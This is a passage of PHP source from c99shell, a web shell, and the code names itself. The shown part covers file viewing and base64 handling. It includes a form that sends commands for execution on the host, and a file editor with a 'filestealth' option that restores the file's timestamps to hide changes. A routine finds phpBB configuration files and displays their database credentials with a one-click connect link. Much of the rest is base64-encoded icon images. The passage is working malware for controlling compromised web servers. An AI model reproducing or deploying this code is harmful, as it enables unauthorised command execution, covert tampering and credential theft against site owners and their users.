  2517.    elseif($base64 == 4)
  2518.    {
  2519.     $text = file_get_contents($d.$f);
  2520.     $encoded = base64_decode($text);
  2521.     echo "<b>Base64 Decode";
  2522.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  2523.     echo "</b><br>";
  2524.    }
  2525.    if (!empty($encoded))
  2526.    {
  2527.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2528.    }
  2529.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2530. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2531. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2532. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2533. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2534. <P>";
  2535.   }
  2536.  
  2537.   elseif ($ft == "html")
  2538.   {
  2539.    if ($white) {@ob_clean();}
  2540.    echo $r;
  2541.    if ($white) {c99shexit();}
  2542.   }
  2543.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2544.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  2545.   elseif ($ft == "phpsess")
  2546.   {
  2547.    echo "<pre>";
  2548.    $v = explode("|",$r);
  2549.    echo $v[0]."<br>";
  2550.    var_dump(unserialize($v[1]));
  2551.    echo "</pre>";
  2552.   }
  2553.   elseif ($ft == "exe")
  2554.   {
  2555.    $ext = explode(".",$f);
  2556.    $c = count($ext)-1;
  2557.    $ext = $ext[$c];
  2558.    $ext = strtolower($ext);
  2559.    $rft = "";
  2560.    foreach($exeftypes as $k=>$v)
  2561.    {
  2562.     if (in_array($ext,$v)) {$rft = $k; break;}
  2563.    }
  2564.    $cmd = str_replace("%f%",$f,$rft);
  2565.    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2566.   }
  2567.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2568.   elseif ($ft == "code")
  2569.   {
  2570.    if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
  2571.    {
  2572.     $arr = explode("\n",$r);
  2573.     if (count($arr == 18))
  2574.     {
  2575.      include($d.$f);
  2576.      echo "<b>phpBB configuration is detected in this file!<br>";
  2577.      if ($dbms == "mysql4") {$dbms = "mysql";}
  2578.      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2579.      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
  2580.      echo "Parameters for manual connect:<br>";
  2581.      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2582.      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2583.      echo "</b><hr size=\"1\" noshade>";
  2584.     }
  2585.    }
  2586.    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2587.    if (!empty($white)) {@ob_clean();}
  2588.    highlight_file($d.$f);
  2589.    if (!empty($white)) {c99shexit();}
  2590.    echo "</div>";
  2591.   }
  2592.   elseif ($ft == "download")
  2593.   {
  2594.    @ob_clean();
  2595.    header("Content-type: application/octet-stream");
  2596.    header("Content-length: ".filesize($d.$f));
  2597.    header("Content-disposition: attachment; filename=\"".$f."\";");
  2598.    echo $r;
  2599.    exit;
  2600.   }
  2601.   elseif ($ft == "notepad")
  2602.   {
  2603.    @ob_clean();
  2604.    header("Content-type: text/plain");
  2605.    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2606.    echo($r);
  2607.    exit;
  2608.   }
  2609.   elseif ($ft == "img")
  2610.   {
  2611.    $inf = getimagesize($d.$f);
  2612.    if (!$white)
  2613.    {
  2614.     if (empty($imgsize)) {$imgsize = 20;}
  2615.     $width = $inf[0]/100*$imgsize;
  2616.     $height = $inf[1]/100*$imgsize;
  2617.     echo "<center><b>Size:</b>&nbsp;";
  2618.     $sizes = array("100","50","20");
  2619.     foreach ($sizes as $v)
  2620.     {
  2621.      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2622.      if ($imgsize != $v ) {echo $v;}
  2623.      else {echo "<u>".$v."</u>";}
  2624.      echo "</a>&nbsp;&nbsp;&nbsp;";
  2625.     }
  2626.     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2627.    }
  2628.    else
  2629.    {
  2630.     @ob_clean();
  2631.     $ext = explode($f,".");
  2632.     $ext = $ext[count($ext)-1];
  2633.     header("Content-type: ".$inf["mime"]);
  2634.     readfile($d.$f);
  2635.     exit;
  2636.    }
  2637.   }
  2638.   elseif ($ft == "edit")
  2639.   {
  2640.    if (!empty($submit))
  2641.    {
  2642.     if ($filestealth) {$stat = stat($d.$f);}
  2643.     $fp = fopen($d.$f,"w");
  2644.     if (!$fp) {echo "<b>Can't write to file!</b>";}
  2645.     else
  2646.     {
  2647.      echo "<b>Saved!</b>";
  2648.      fwrite($fp,$edit_text);
  2649.      fclose($fp);
  2650.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2651.      $r = $edit_text;
  2652.     }
  2653.    }
  2654.    $rows = count(explode("\r\n",$r));
  2655.    if ($rows < 10) {$rows = 10;}
  2656.    if ($rows > 30) {$rows = 30;}
  2657.    echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2658.   }
  2659.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2660.   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  2661.  }
  2662. }
  2663. }
  2664. else
  2665. {
  2666.  @ob_clean();
  2667.  $images = array(
  2668. "arrow_ltr"=>
  2669. "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  2670. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  2671. "back"=>
  2672. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2673. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  2674. "Wg0JADs=",
  2675. "buffer"=>
  2676. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  2677. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  2678. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  2679. "change"=>
  2680. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  2681. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  2682. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  2683. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  2684. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  2685. "zMshADs=",
  2686. "delete"=>
  2687. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  2688. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  2689. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  2690. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  2691. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  2692. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2693. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  2694. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  2695. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  2696. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  2697. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  2698. "download"=>
  2699. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  2700. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  2701. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  2702. "forward"=>
  2703. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2704. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  2705. "WqsJADs=",
  2706. "home"=>
  2707. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  2708. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  2709. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  2710. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  2711. "mode"=>
  2712. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  2713. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  2714. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  2715. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  2716. "refresh"=>
  2717. "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
  2718. "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
  2719. "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
  2720. "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
  2721. "search"=>
  2722. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  2723. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  2724. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  2725. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  2726. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  2727. "setup"=>
  2728. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  2729. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2730. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  2731. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  2732. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  2733. "small_dir"=>
  2734. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  2735. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  2736. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  2737. "small_unk"=>
  2738. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  2739. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  2740. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  2741. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  2742. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  2743. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  2744. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  2745. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  2746. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2747. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2748. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2749. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2750. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2751. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2752. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  2753. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  2754. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  2755. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  2756. "yAsokBkQADs=",
  2757. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  2758. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  2759. "sort_asc"=>
  2760. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  2761. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  2762. "sort_desc"=>
  2763. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  2764. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  2765. "sql_button_drop"=>
  2766. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2767. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2768. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2769. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2770. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2771. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2772. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2773. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2774. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2775. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2776. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2777. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2778. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2779. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  2780. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  2781. "AQEAOw==",
  2782. "sql_button_empty"=>
  2783. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2784. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2785. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2786. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2787. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2788. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2789. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2790. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2791. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2792. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2793. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2794. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2795. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2796. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  2797. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  2798. "sql_button_insert"=>
  2799. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2800. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2801. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2802. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2803. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2804. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2805. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2806. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2807. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2808. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2809. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2810. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2811. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2812. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  2813. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  2814. "up"=>
  2815. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  2816. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  2817. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  2818. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  2819. "write"=>
  2820. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  2821. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  2822. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  2823. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  2824. "ext_asp"=>
  2825. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  2826. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  2827. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  2828. "ext_mp3"=>
  2829. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  2830. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  2831. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  2832. "ext_avi"=>
  2833. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  2834. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  2835. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  2836. "ext_cgi"=>
  2837. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  2838. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  2839. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
